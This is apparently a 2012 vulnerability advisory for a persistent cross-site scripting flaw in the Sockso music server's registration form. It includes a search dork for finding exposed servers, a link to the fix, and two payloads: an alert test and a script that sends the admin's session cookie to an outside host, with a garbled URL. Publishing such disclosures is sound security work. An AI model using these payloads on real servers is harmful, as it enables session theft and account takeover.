Sockso 1.51 – Persistent Cross-Site Scripting
####################################################################### Application: Sockso http://sockso.pu-gh.com Versions: <= 1.5 Platforms: Windows, Mac, Linux Bug: Persistant XSS Exploitation: remote Date: 11 May 2012. Author: Ciaran McNally Web: http://smwyg.com/blog/#sockso-persistant-xss-attack Google Dork: inurl:"4444" sockso ####################################################################### 1) Bug. 2) The exploit. 3) Fix. ####################################################################### Sockso is a free, open-source, personal music host server for everyone! It's designed to be as simple as possible so that anyone with a mouse and some mp3's can get their friends listening to their music across the internet in seconds!" ####################################################################### ====== 1) Bug ====== On Registration page (normally @ "4444/user/register") the username input is never sanitized. This is then stored in the database of users and displayed in the admin panel & user pages. ####################################################################### ============== 2) The exploit ============== Using a username value of... <script>alert('xss');</script> Or the admin cookie session can also be retrieved by using... <script >new Image().src="https://www.exploit-db.com/exploits/18868/bleh.com/xss.php?c="+encodeURI(document.cookie)</script> ####################################################################### ====== 3) Fix ====== https://github.com/rodnaph/sockso/pull/99/files ####################################################################### |